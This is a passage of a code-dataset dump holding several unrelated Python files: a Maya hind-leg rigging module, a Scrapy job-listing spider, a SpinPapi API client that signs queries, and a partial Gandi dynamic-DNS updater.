\"{0}_Grp\".format(rearCtrl), mo=False)\n cmds.scaleConstraint(ankleJnt, \"{0}_Grp\".format(rearCtrl))\n cmds.connectAttr(\"{0}.t\".format(rearCtrl), \"{0}.t\".format(ankleStartJnt))\n cmds.connectAttr(\"{0}.s\".format(rearCtrl), \"{0}.s\".format(ankleStartJnt))\n\n cmds.disconnectAttr(\"{0}.s\".format(ankleJnt), \"{0}.s\".format(midEndJnt))\n cmds.scaleConstraint(rearCtrl, midEndJnt)\n self.ctrls[\"Bendy\"][\"Rear\"] = rearCtrl\n cmds.parent(\"{0}_Grp\".format(rearCtrl), self.mainGrp)\n\n #add bot bendy\n newBindJnts = []\n if self.attrValue[\"botBendy\"] > 2:\n botBendyResults = self.createBendy(\"{0}_Bot\".format(self.longAlias), ankleStartJnt, ankleEndJnt, noOfJnts=self.attrValue[\"botBendy\"])\n botBendyCtrl = botBendyResults[0]\n self.ctrls[\"Bendy\"][\"BotBendy\"] = botBendyCtrl\n self.ctrls[\"Bendy\"][\"Bot\"] = botBendyResults[2]\n\n cmds.sets(ankleStartJnt, rm=\"{0}_Bind_Jnt_Set\".format(self.longAlias))\n cmds.sets(ankleEndJnt, rm=\"{0}_Bind_Jnt_Set\".format(self.longAlias))\n\n for jnt in botBendyResults[1]:\n self.bindJnts.insert(-3, jnt)\n newBindJnts.append(jnt)\n \n else:\n self.bindJnts.insert(-3, ankleStartJnt)\n self.bindJnts.insert(-3, ankleEndJnt)\n newBindJnts.append(ankleStartJnt)\n newBindJnts.append(ankleEndJnt)\n\n for jnt in newBindJnts:\n ju.labelJoint(jnt, displayAxis=True)\n ju.setJoint(jnt)\n \n return True\n\n def createIK(self, repositionIK=True):\n super(legRig, self).createIK()\n\n #delete the ik tip handle and the old end end joint\n cmds.delete(\"{0}_Tip_IKHandle\".format(self.longAlias))\n cmds.delete(\"{0}_{1}_IK_End_Jnt\".format(self.longAlias, self.aliasList[2]))\n\n #create new single chain ik handle for the foot and toe\n ikFootHandle = cmds.ikHandle(n=\"{0}_{1}_IKHandle\".format(self.longAlias, self.aliasList[3]), \n startJoint=self.ikJnts[2], endEffector=self.ikJnts[3], solver=\"ikSCsolver\")[0]\n\n ikKnuckleHandle = cmds.ikHandle(n=\"{0}_{1}_IKHandle\".format(self.longAlias, self.aliasList[4]), \n startJoint=self.ikJnts[3], endEffector=self.ikJnts[4], solver=\"ikSCsolver\")[0]\n\n ikToeHandle = cmds.ikHandle(n=\"{0}_{1}_IKHandle\".format(self.longAlias, self.aliasList[5]), \n startJoint=self.ikJnts[4], endEffector=self.ikJnts[5], solver=\"ikSCsolver\")[0]\n\n cmds.setAttr(\"{0}.v\".format(ikFootHandle), 0)\n cmds.setAttr(\"{0}.v\".format(ikKnuckleHandle), 0)\n cmds.setAttr(\"{0}.v\".format(ikToeHandle), 0)\n\n #get some position data\n self.footPos = cmds.xform(self.ikJnts[3], q=True, t=True, ws=True)\n self.knucklePos = cmds.xform(self.ikJnts[4], q=True, t=True, ws=True)\n toePos = cmds.xform(self.ikJnts[5], q=True, t=True, ws=True)\n upVec = mu.vPlus(toePos, self.footPos, \"-\")\n tiltOri = mu.vectorToAngle((0, 1, 0), upVec=upVec, sideVec=None, aimAxis=\"y\", upAxis=\"z\", sideAxis=None)\n\n #reset IK tilt ctrl's orientation--------------------------------------\n cmds.xform(\"{0}_Grp\".format(self.ikCtrls[\"Tilt\"]), ro=tiltOri, a=True, ws=True)\n\n #create the second IK tilt ctrl\n self.ikCtrls[\"Tilt2\"] = \"{0}_IK_Tilt_02_Ctrl\".format(self.longAlias)\n cu.createCtrlFromProxy(n=self.ikCtrls[\"Tilt2\"], colorNo=self.colorDic[self.side], proxyShape=\"default\", posObj=self.proxyCtrls[\"IKTilt2\"], depth=1, lockAttrs=[\"s\", \"v\"])\n cmds.xform(\"{0}_Grp\".format(self.ikCtrls[\"Tilt2\"]), ro=(0, 0, 0), a=True, ws=True)\n cmds.parent(\"{0}_Grp\".format(self.ikCtrls[\"Tilt2\"]), self.ikTiltOutputGrp)\n self.ikTiltOutputGrp2 = cmds.duplicate(self.ikCtrls[\"Tilt2\"], po=True, n=\"{0}_Output_Grp\".format(self.ikCtrls[\"Tilt2\"]))[0]\n cmds.connectAttr(\"{0}.r\".format(self.ikCtrls[\"Tilt2\"]), \"{0}.r\".format(self.ikTiltOutputGrp2))\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"Tilt2\"]), \"{0}.scalePivot\".format(self.ikTiltOutputGrp2))\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"Tilt2\"]), \"{0}.rotatePivot\".format(self.ikTiltOutputGrp2))\n #reset tilt controls orientation\n cmds.xform(\"{0}_Grp\".format(self.ikCtrls[\"Tilt2\"]), ro=tiltOri, a=True, ws=True)\n\n #create ctrl footik toe ik------------------------------------------------------\n self.ikCtrls[\"FootIK\"] = \"{0}_{1}_IK_Ctrl\".format(self.longAlias, self.aliasList[3])\n ikFootCtrlGrp = \"{0}_Grp\".format(self.ikCtrls[\"FootIK\"])\n cu.createCtrlFromProxy(n=self.ikCtrls[\"FootIK\"], colorNo=self.colorDic[self.side], proxyShape=\"default\", offset=True, posObj=self.proxyCtrls[\"FootIK\"], depth=1, lockAttrs=[\"t\", \"s\", \"v\"])\n\n self.ikCtrls[\"ToeIK\"] = \"{0}_{1}_IK_Ctrl\".format(self.longAlias, self.aliasList[5])\n ikToeCtrlGrp = \"{0}_Grp\".format(self.ikCtrls[\"ToeIK\"])\n cu.createCtrlFromProxy(n=self.ikCtrls[\"ToeIK\"], colorNo=self.colorDic[self.side], proxyShape=\"default\", offset=True, posObj=self.proxyCtrls[\"ToeIK\"], depth=1, lockAttrs=[\"t\", \"s\", \"v\"])\n\n cmds.xform(ikFootCtrlGrp, t=self.footPos, a=True, ws=True)\n cmds.xform(ikToeCtrlGrp, t=self.footPos, a=True, ws=True)\n cmds.parent(self.ikHandleGrp, self.ikCtrls[\"FootIK\"])\n cmds.parent(ikFootHandle, self.ikCtrls[\"FootIK\"])\n\n #add toe tip ctrl\n self.ikCtrls[\"ToeTip\"] = \"{0}_{1}_Tip_Ctrl\".format(self.longAlias, self.aliasList[-1])\n cu.createCtrlFromProxy(n=self.ikCtrls[\"ToeTip\"], colorNo=self.colorDic[self.side], proxyShape=\"default\", posObj=self.proxyJnts[5], depth=1, lockAttrs=[\"v\"])\n \n self.toeOffsetJnt = cmds.duplicate(self.ikJnts[-1], n=self.ikJnts[-1].replace(\"Jnt\", \"Offset_Jnt\"), po=True)[0]\n toePMA = cmds.createNode(\"plusMinusAverage\", n=\"{0}_ToeTip_PMA\".format(self.longAlias))\n defaultT = cmds.getAttr(\"{0}.t\".format(self.toeOffsetJnt))[0]\n cmds.setAttr(\"{0}.input3D[0]\".format(toePMA), defaultT[0], defaultT[1], defaultT[2], type=\"double3\")\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"ToeTip\"]), \"{0}.input3D[1]\".format(toePMA))\n cmds.connectAttr(\"{0}.output3D\".format(toePMA), \"{0}.t\".format(self.toeOffsetJnt))\n cmds.connectAttr(\"{0}.r\".format(self.ikCtrls[\"ToeTip\"]), \"{0}.r\".format(self.toeOffsetJnt))\n cmds.connectAttr(\"{0}.s\".format(self.ikCtrls[\"ToeTip\"]), \"{0}.s\".format(self.toeOffsetJnt))\n\n cu.setControl(self.ikCtrls[\"FootIK\"], key=\"IK\")\n cu.setControl(self.ikCtrls[\"ToeIK\"], key=\"IK\")\n cu.setControl(self.ikCtrls[\"Tilt2\"], key=\"IK\")\n cu.setControl(self.ikCtrls[\"ToeTip\"], key=\"IK\")\n\n if not self.attrValue[\"shortFoot\"]:\n self.ikCtrls[\"KnuckleIK\"] = \"{0}_{1}_IK_Ctrl\".format(self.longAlias, self.aliasList[4])\n ikKnuckleCtrlGrp = \"{0}_Grp\".format(self.ikCtrls[\"KnuckleIK\"])\n cu.createCtrlFromProxy(n=self.ikCtrls[\"KnuckleIK\"], colorNo=self.colorDic2[self.side], proxyShape=\"default\", offset=True, posObj=self.proxyCtrls[\"KnuckleIK\"], depth=2, lockAttrs=[\"t\", \"s\", \"v\"])\n\n self.ikCtrls[\"ToeIK2\"] = \"{0}_{1}_IK_Sub_Ctrl\".format(self.longAlias, self.aliasList[5])\n ikToeCtrl2Grp = \"{0}_Grp\".format(self.ikCtrls[\"ToeIK2\"])\n cu.createCtrlFromProxy(n=self.ikCtrls[\"ToeIK2\"], colorNo=self.colorDic2[self.side], proxyShape=\"default\", offset=True, posObj=self.proxyCtrls[\"ToeIK2\"], depth=1, lockAttrs=[\"t\", \"s\", \"v\"])\n \n cmds.xform(ikKnuckleCtrlGrp, t=self.knucklePos, a=True, ws=True)\n cmds.xform(ikToeCtrl2Grp, t=self.knucklePos, a=True, ws=True)\n \n cmds.parent(ikKnuckleHandle, self.ikCtrls[\"KnuckleIK\"])\n cmds.parent(ikToeHandle, self.ikCtrls[\"ToeIK2\"])\n\n cmds.parent(ikKnuckleCtrlGrp, self.ikCtrls[\"ToeIK\"])\n cmds.parent(ikToeCtrl2Grp, self.ikCtrls[\"ToeIK\"])\n\n KnuckleRollGrp = cmds.group(em=True, n=\"{0}_{1}_Roll_Grp\".format(self.longAlias, self.aliasList[4]), p=self.ikTiltOutputGrp2)\n cmds.xform(KnuckleRollGrp, t=self.knucklePos, a=True, ws=True)\n cmds.parent(ikFootCtrlGrp, KnuckleRollGrp)\n\n KnuckleRollPivotGrp = cmds.group(em=True, n=\"{0}_{1}_Roll_Pivot_Grp\".format(self.longAlias, self.aliasList[4]), p=KnuckleRollGrp)\n cmds.parent(KnuckleRollPivotGrp, self.ikTiltOutputGrp2)\n KnuckleRollPivot = cmds.group(em=True, n=\"{0}_{1}_Roll_Pivot_Null\".format(self.longAlias, self.aliasList[4]), p=KnuckleRollPivotGrp)\n cmds.pointConstraint(self.ikCtrls[\"KnuckleIK\"], KnuckleRollPivot, mo=True)\n cmds.connectAttr(\"{0}.t\".format(KnuckleRollPivot), \"{0}.rotatePivot\".format(KnuckleRollGrp))\n cmds.connectAttr(\"{0}.t\".format(KnuckleRollPivot), \"{0}.scalePivot\".format(KnuckleRollGrp))\n\n cu.setControl(self.ikCtrls[\"KnuckleIK\"], key=\"IK\")\n cu.setControl(self.ikCtrls[\"ToeIK2\"], key=\"IK\")\n\n cmds.parent(\"{0}_Grp\".format(self.ikCtrls[\"ToeTip\"]), self.ikCtrls[\"ToeIK2\"])\n else:\n cmds.parent(ikKnuckleHandle, self.ikCtrls[\"ToeIK\"])\n cmds.parent(ikToeHandle, self.ikCtrls[\"ToeIK\"])\n cmds.parent(\"{0}_Grp\".format(self.ikCtrls[\"ToeTip\"]), self.ikCtrls[\"ToeIK\"])\n\n\n #adding additional attribute on foot rolling system ---------------------------------------------------------------------------------- \n footAttrs = [\"ballRoll\", \"ballTwist\", \"toeRoll\", \"toeTwist\", \"toeBend\", \"heelRoll\", \"heelTwist\", \"footRock\"]\n if not self.attrValue[\"shortFoot\"]:\n footAttrs.insert(1, \"ballRoll2\")\n footAttrs.insert(6, \"toeBend2\")\n\n [cmds.addAttr(self.ikCtrls[\"IK\"], ln=attr, at=\"double\", dv=0, k=True) for attr in footAttrs]\n\n #---toe---\n toeBendGrp = cmds.group(self.ikCtrls[\"ToeIK\"], n=\"{0}_Toe_Bend_Grp\".format(self.longAlias))\n cmds.xform(toeBendGrp, rp=(0, 0, 0), sp=(0, 0, 0), a=True, os=True)\n cmds.connectAttr(\"{0}.toeBend\".format(self.ikCtrls[\"IK\"]), \"{0}.rx\".format(toeBendGrp))\n\n toeRollTwistGrp = cmds.group(self.ikCtrls[\"Tilt\"], self.ikTiltOutputGrp, n=\"{0}_Toe_Roll_Grp\".format(self.longAlias))\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"Tilt\"]), \"{0}.scalePivot\".format(toeRollTwistGrp))\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"Tilt\"]), \"{0}.rotatePivot\".format(toeRollTwistGrp))\n cmds.connectAttr(\"{0}.toeRoll\".format(self.ikCtrls[\"IK\"]), \"{0}.rx\".format(toeRollTwistGrp))\n cmds.connectAttr(\"{0}.toeTwist\".format(self.ikCtrls[\"IK\"]), \"{0}.ry\".format(toeRollTwistGrp))\n\n #---foot---\n footRollGrp = cmds.group(self.ikCtrls[\"FootIK\"], n=\"{0}_Foot_Roll_Grp\".format(self.longAlias))\n cmds.xform(footRollGrp, rp=(0, 0, 0), sp=(0, 0, 0), a=True, os=True)\n cmds.connectAttr(\"{0}.ballRoll\".format(self.ikCtrls[\"IK\"]), \"{0}.rx\".format(footRollGrp))\n\n #---heel---\n heelRollTwistGrp = cmds.group(self.ikCtrls[\"Tilt2\"], self.ikTiltOutputGrp2, n=\"{0}_Heel_Roll_Grp\".format(self.longAlias))\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"Tilt2\"]), \"{0}.scalePivot\".format(heelRollTwistGrp))\n cmds.connectAttr(\"{0}.t\".format(self.ikCtrls[\"Tilt2\"]), \"{0}.rotatePivot\".format(heelRollTwistGrp))\n cmds.connectAttr(\"{0}.heelTwist\".format(self.ikCtrls[\"IK\"]), \"{0}.ry\".format(heelRollTwistGrp))\n cmds.connectAttr(\"{0}.heelRoll\".format(self.ikCtrls[\"IK\"]), \"{0}.rx\".format(heelRollTwistGrp))\n\n #---footRock---\n innerPos = cmds.xform(self.proxyLoc[\"Inner\"], q=True, ws=True, t=True)\n outerPos = cmds.xform(self.proxyLoc[\"Outer\"], q=True, ws=True, t=True)\n innerGrp = cmds.group(em=True, n=\"{0}_Foot_Inner_Grp\".format(self.longAlias), p=self.ikTiltOutputGrp2)\n outerGrp = cmds.group(em=True, n=\"{0}_Foot_Outer_Grp\".format(self.longAlias), p=innerGrp)\n cmds.xform(innerGrp, t=innerPos, ws=True, a=True)\n cmds.xform(outerGrp, t=outerPos, ws=True, a=True)\n\n #ball twist\n footTwistGrp = cmds.group(em=True, n=\"{0}_Foot_Twist_Grp\".format(self.longAlias), p=outerGrp)\n cmds.xform(footTwistGrp, t=self.footPos, a=True, ws=True)\n cmds.parent(ikToeCtrlGrp, footTwistGrp)\n cmds.connectAttr(\"{0}.ballTwist\".format(self.ikCtrls[\"IK\"]), \"{0}.ry\".format(footTwistGrp))\n\n rockCond = cmds.createNode(\"condition\", n=\"{0}_Foot_Rock_Cond\".format(self.longAlias))\n cmds.setAttr(\"{0}.operation\".format(rockCond), 2)\n cmds.setAttr(\"{0}.colorIfFalseG\".format(rockCond), 0)\n [cmds.connectAttr(\"{0}.footRock\".format(self.ikCtrls[\"IK\"]), \"{0}.{1}\".format(rockCond, attr)) for attr in [\"firstTerm\", \"colorIfTrueG\", \"colorIfFalseR\"]]\n \n if self.side == self.right:\n cmds.connectAttr(\"{0}.outColorR\".format(rockCond), \"{0}.rz\".format(innerGrp))\n cmds.connectAttr(\"{0}.outColorG\".format(rockCond), \"{0}.rz\".format(outerGrp))\n else:\n cmds.connectAttr(\"{0}.outColorG\".format(rockCond), \"{0}.rz\".format(innerGrp))\n cmds.connectAttr(\"{0}.outColorR\".format(rockCond), \"{0}.rz\".format(outerGrp))\n\n if not self.attrValue[\"shortFoot\"]:\n cmds.parent(KnuckleRollGrp, footTwistGrp)\n cmds.parent(KnuckleRollPivotGrp, footTwistGrp)\n\n toeBend2Grp = cmds.group(self.ikCtrls[\"ToeIK2\"], n=\"{0}_Toe_Sub_Bend_Grp\".format(self.longAlias))\n cmds.xform(toeBend2Grp, rp=(0, 0, 0), sp=(0, 0, 0), a=True, os=True)\n cmds.connectAttr(\"{0}.toeBend2\".format(self.ikCtrls[\"IK\"]), \"{0}.rx\".format(toeBend2Grp))\n\n rollADL = cmds.createNode(\"addDoubleLinear\", n=\"{0}_{1}_Roll_ADL\".format(self.longAlias, self.aliasList[4]))\n cmds.connectAttr(\"{0}.rx\".format(self.ikCtrls[\"KnuckleIK\"]), \"{0}.input1\".format(rollADL))\n cmds.connectAttr(\"{0}.ballRoll2\".format(self.ikCtrls[\"IK\"]), \"{0}.input2\".format(rollADL))\n cmds.connectAttr(\"{0}.output\".format(rollADL), \"{0}.rx\".format(KnuckleRollGrp))\n cmds.connectAttr(\"{0}.ballRoll2\".format(self.ikCtrls[\"IK\"]), \"{0}_02_Grp.rx\".format(self.ikCtrls[\"KnuckleIK\"]))\n else:\n cmds.parent(ikFootCtrlGrp, footTwistGrp)\n\n #--------------------------------------------------------------------------------------------------------------------------------------------\n #add bot length\n cmds.addAttr(self.ikCtrls[\"IK\"], ln=\"botLength\", at=\"double\", dv=1, min=0.001, k=True)\n lengthMDL = cmds.createNode(\"multDoubleLinear\", n=\"{0}_Bot_Length_MDL\".format(self.longAlias))\n\n footLength = cmds.getAttr(\"{0}.tx\".format(self.ikJnts[3]))\n cmds.setAttr(\"{0}.input2\".format(lengthMDL), footLength)\n cmds.connectAttr(\"{0}.botLength\".format(self.ikCtrls[\"IK\"]), \"{0}.input1\".format(lengthMDL))\n cmds.connectAttr(\"{0}.output\".format(lengthMDL), \"{0}.tx\".format(self.ikJnts[3]))\n\n if self.side == self.left:\n lengthMDL2 = cmds.createNode(\"multDoubleLinear\", n=\"{0}_Bot_Length_inverse_MDL\".format(self.longAlias))\n cmds.setAttr(\"{0}.input2\".format(lengthMDL2), -1)\n cmds.connectAttr(\"{0}.output\".format(lengthMDL), \"{0}.input1\".format(lengthMDL2))\n cmds.connectAttr(\"{0}.output\".format(lengthMDL2), \"{0}.tz\".format(self.ikHandleGrp))\n else:\n cmds.connectAttr(\"{0}.output\".format(lengthMDL), \"{0}.tz\".format(self.ikHandleGrp))\n\n #change IK ctrl's position to foot jnt\n if repositionIK:\n IKTiltPos = cmds.xform(self.ikCtrls[\"Tilt\"], q=True, t=True, ws=True)\n\n cmds.xform(\"{0}_02_Grp\".format(self.ikCtrls[\"IK\"]), t=self.footPos, ws=True, a=True)\n cmds.xform(\"{0}_Grp\".format(self.ikCtrls[\"Tilt\"]), t=IKTiltPos, ws=True, a=True)\n cmds.xform(self.ikTiltOutputGrp, t=IKTiltPos, ws=True, a=True)\n\n #reset the offset value between ik ctrl and foot joint\n offset = self.getOffset(self.ikCtrls[\"IK\"], self.resultJnts[3])\n [cmds.setAttr('{0}.ikOffset{1}'.format(self.ikCtrls[\"IK\"], attr), l=False) for attr in [\"X\", \"Y\", \"Z\"]]\n cmds.setAttr('{0}.ikOffset'.format(self.ikCtrls[\"IK\"]), offset[0], offset[1], offset[2], type='double3')\n [cmds.setAttr('{0}.ikOffset{1}'.format(self.ikCtrls[\"IK\"], attr), l=True) for attr in [\"X\", \"Y\", \"Z\"]]\n\n #add additonal anim constraint for the foot ik ctrl\n aimGrp = cmds.group(em=True, n=\"{0}_AutoAim_Grp\".format(self.longAlias), p=outerGrp)\n cmds.xform(aimGrp, t=self.footPos, a=True, ws=True)\n cmds.aimConstraint(self.mainGrp, aimGrp, aim=(0, 0, -1), u=(1, 0, 0), wut=\"objectrotation\", wu=(1, 0, 0), wuo=footTwistGrp)\n\n if not self.attrValue[\"shortFoot\"]:\n aimBufferGrp = cmds.group(KnuckleRollGrp, KnuckleRollPivotGrp, n=\"{0}_AutoAim_02_Grp\".format(self.longAlias))\n else:\n aimBufferGrp = cmds.group(ikFootCtrlGrp, n=\"{0}_AutoAim_02_Grp\".format(self.longAlias))\n\n cmds.xform(aimBufferGrp, rp=(0, 0, 0), sp=(0, 0, 0), a=True, os=True)\n cmds.parent(aimBufferGrp, aimGrp) \n\n return True\n\n def createFK(self):\n super(hindLegRig, self).createFK()\n\n if self.attrValue[\"shortFoot\"]:\n cmds.parent(\"{0}_Grp\".format(self.ctrls[\"FK\"][-2]), \"{0}_Grp\".format(self.ctrls[\"FK\"][-4]))\n cmds.delete(self.ctrls[\"FK\"][-4])\n cmds.delete(\"{0}_Grp_parentConstraint1\".format(self.ctrls[\"FK\"][-4]))\n self.ctrls[\"FK\"].remove(self.ctrls[\"FK\"][-4])\n self.ctrls[\"FK\"].remove(self.ctrls[\"FK\"][-3])\n\n return True\n\n def mirrorProxy(self, mirrorJnt=True, mirrorShape=True):\n super(hindLegRig, self).mirrorProxy(mirrorJnt=mirrorJnt, mirrorShape=mirrorShape)\n\n if mirrorShape:\n sideDic = {self.left: self.right, self.right: self.left}\n for key in [\"BotBendy\", \"BotBendy2\", \"ToeIK2\", \"KnuckleIK\"]:\n ctrl = self.proxyCtrls[key]\n otherSideCtrl = ctrl.replace(self.side, sideDic[self.side])\n if cmds.objExists(otherSideCtrl):\n if key in [\"BotBendy\", \"BotBendy2\"]:\n cu.matchShape(ctrl, otherSideCtrl, flip=(1, 1, -1))\n else:\n cu.matchShape(ctrl, otherSideCtrl, flip=(-1, 1, 1))\n\n if key in [\"ToeIK2\", \"KnuckleIK\"]:\n t = cmds.getAttr(\"{0}.t\".format(otherSideCtrl))[0]\n cmds.setAttr(\"{0}.t\".format(ctrl), -t[0], t[1], t[2], type=\"double3\")\n\n","sub_path":"Rig_Module/hindLeg_rig.py","file_name":"hindLeg_rig.py","file_ext":"py","file_size_in_byte":30383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"568205533","text":"\"\"\"\n This spider is a Werkenineenhotel spider created on top of the ATSSpider\n scrapy crawl werkenineenhotel -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"https://www.werkenineenhotel.nl/hotel_vacatures_banen_bijbanen_stage/?distance=&company_group_id=&company_rating_id=&job_availability_id%5B%5D=&keyword=&company_type_id%5B%5D=3&job_type_id%5B%5D=&location=&search=1\"\n\n sampel seed url:\n https://www.werkenindehoreca.nl/horeca_vacatures_baan_bijbaan/?distance=&company_group_id=&company_rating_id=&job_availability_id%5B%5D=&keyword=&company_type_id%5B%5D=&job_type_id%5B%5D=&location=&search=Zoeken \n\n sample job url:\n https://www.werkenindehoreca.nl/vacature/bediening-bar-f-b/amsterdam/noord-holland/12109/\n\"\"\"\n\nfrom re import compile\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString\nfrom brightcorp.lib.utils import extract_first\n\n\nclass Werkenineenhotel(ATSSpider):\n\n name = \"werkenineenhotel\"\n domain = ''\n Domain_Url = compile(r\"://www\\.(\\S+)\\.nl\")\n\n def __init__(self, *args, **kwargs):\n super(Werkenineenhotel, self).__init__(*args, **kwargs)\n\n self.domain = self.Domain_Url.search(self.start_urls[0])\n if self.domain:\n self.domain = self.domain.group(1)\n\n def parse(self, response):\n selector = Selector(response)\n if not self.expected_job_count_set:\n job_count = selector.xpath(\n '//b[@id=\"results_count\"]/text()').extract()\n if job_count:\n self.expected_job_count = job_count\n\n jobs = selector.xpath(\n '//div[@class=\"job_results\"]/div/a[@class=\"job_result\"]')\n for job in jobs:\n url = job.xpath('./@href').extract()\n if url:\n yield Request(\n callback=self.parse_job_callback(),\n meta={\n 'title': job.xpath(\n './span[@class=\"job_title\"]/text()').extract(),\n 'company': job.xpath(\n './span[@class=\"company_logo\"]/img/@alt'\n ).extract(),\n },\n url=url[0]\n )\n\n next_page_url = extract_first(\n selector.xpath('//a[@class=\"next_page\"]/@href')\n )\n if next_page_url:\n yield Request(\n callback=self.parse,\n url=next_page_url\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n\n details_xpath = '//td[text()=\"%s\"]/following-sibling::td/text()'\n\n loader.add_xpath(\n 'description',\n '//h3[text()=\"Algemene informatie\"]/following-sibling::node()[following::div[@class=\"job_company_info adbox-white\"]]'\n )\n loader.add_xpath(\n 'date', details_xpath % \"Geplaatst op:\",\n ConvertDateString('%d-%m-%Y')\n )\n loader.add_xpath('jobtype', details_xpath % \"Dienstverband:\")\n loader.add_xpath('location', details_xpath % \"Locatie:\")\n\n loader.add_xpath(\n 'referencenumber', details_xpath % \"Referentie nr.:\",\n Prefix('%s-' % self.domain)\n )\n\n loader.add_value('company', response.meta.get('company'))\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/werkenineenhotel.py","file_name":"werkenineenhotel.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"311149504","text":"'''Python SpinPapi client\n\n File: SpinPapiClient.py\n Author Tom Worster\n Copyright (c) 2012 Spinitron, LLC. All rights reserved.\n Redistribution and use in source and binary forms, with or without modification, are permitted\n \tprovided that the following conditions are met:\n * Redistributions of source code must retain the above copyright notice, this list of conditions\n \t\tand the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of\n \t\tconditions and the following disclaimer in the documentation and/or other materials provided\n \t\twith the distribution.\n * Neither the name of the Spinitron, LLC. nor the names of its contributors may be used to endorse\n \t\tor promote products derived from this software without specific prior written permission.\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\n IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER\n IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n '''\n\nimport hmac, hashlib, base64, sys, binascii \nfrom urllib.parse import quote\nfrom time import gmtime, strftime\nfrom operator import itemgetter\n\nclass SpinPapiClient:\n '''A SpinPapi client class.\n\n {@see http://spinitron.com/user-guide/pdf/SpinPapi-v2.pdf}\n NOTE: all SpinPapi client applications must cache result data. This\n class does not provide caching.\n '''\n\n def __init__(self, userid, secret, station=''):\n '''Client constructor.\n\n :param string userid: Authentication user ID issued by Spinitron\n :param string secret: Authentication secret issued by Spinitron\n :param string station: Station ID\n '''\n\n self.params = {}\n self.params['papiversion'] = '2'\n self.host = 'spinitron.com'\n self.url = '/public/spinpapi.php'\n self.params['papiuser'] = userid\n self.secret = secret\n self.params['station'] = station\n\n def query(self, params):\n '''Perform an uncached SpinPapi query.\n\n :param dict params: SpinPapi query parameters. At least method\n must be present in the dict.\n\n :return string: A complete signed query URL.\n '''\n\n # Add requested params to object default params\n all_params = self.params\n for key, val in params.items():\n all_params[key] = val\n\n # Add current GMT timestamp to params\n all_params['timestamp'] = strftime(\"%Y-%m-%dT%H:%M:%SZ\", gmtime())\n\n # Sort params alphabetically by dict key\n all_params = sorted(all_params.items(), key=itemgetter(0))\n\n # Build the urlencoded query in a list and join it with '&' chars\n the_query = []\n for key, val in all_params:\n the_query.append(quote(key) + '=' + quote(val))\n the_query = '&'.join(the_query)\n\n # Construct the query's HMAC signature.\n signature = bytes(self.host + '\\n' + self.url + '\\n' + the_query, 'utf-8')\n signature = hmac.new(self.secret, signature, hashlib.sha256)\n signature = signature.digest()\n signature = base64.b64encode(signature)\n signature = quote(signature, '')\n\n return ('http://' + self.host + self.url\n + '?' + the_query + '&signature=' + signature)\n","sub_path":"packages/SpinPapiClient.py","file_name":"SpinPapiClient.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"466818494","text":"#!/usr/bin/env python\nimport requests\nimport xmlrpclib\nimport logging\nimport logging.handlers\n\n# Logging setup\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.DEBUG)\nhandler = logging.handlers.SysLogHandler(address = '/dev/log')\nformatter = logging.Formatter('%(module)s: %(message)s')\nhandler.setFormatter(formatter)\nlog.addHandler(handler)\n\n\n# Function to get the current IP address\ndef get_current_ip_address():\n url = 'http://ip.jsontest.com/'\n\n try:\n r = requests.get(url)\n except Exception as e:\n raise(e)\n\n if r.status_code == 200:\n if len(r.json()) > 0:\n return r.json()['ip']\n else:\n log.error('No data received back from the url \"{0}\"'.format(url))\n else:\n log.error('Invalid response code received. The received response code is \"{0}\"'.format(r.status_code))\n\n\n# Function to get the zone id\ndef get_zone_id_version(api, apiKey, zone_name):\n zone_list = api.domain.zone.list(apiKey)\n\n if len(zone_list) > 0:\n for zone in zone_list:\n if zone['name'] == zone_name:\n return zone['id'], zone['version']\n else:\n log.error('No items found in the zone list')\n\n\n# Function to get the A-Records from a zone\ndef get_a_records_from_zone(api, apiKey, zone_id, zone_version):\n record_list = api.domain.zone.record.list(apiKey, zone_id, zone_version)\n a_records = []\n\n if len(record_list) > 0:\n for record in record_list:\n if record['type'] == 'A':\n a_records.append(record)\n else:\n log.error('No records found in zone')\n\n return a_records\n\n\n# Function to check which records needs to be updated\ndef get_outdated_records(api, apiKey, current_ip_address, zone_id=0, zone_version=0):\n outdated_records = []\n\n if (zone_id == 0 and zone_version == 0):\n zone_id, zone_version = get_zone_id_version(api, apiKey, 'timmer.pro')\n\n a_records = get_a_records_from_zone(api, apiKey, zone_id, zone_version)\n\n for a_record in a_records:\n if a_record['value'] != current_ip_address:\n 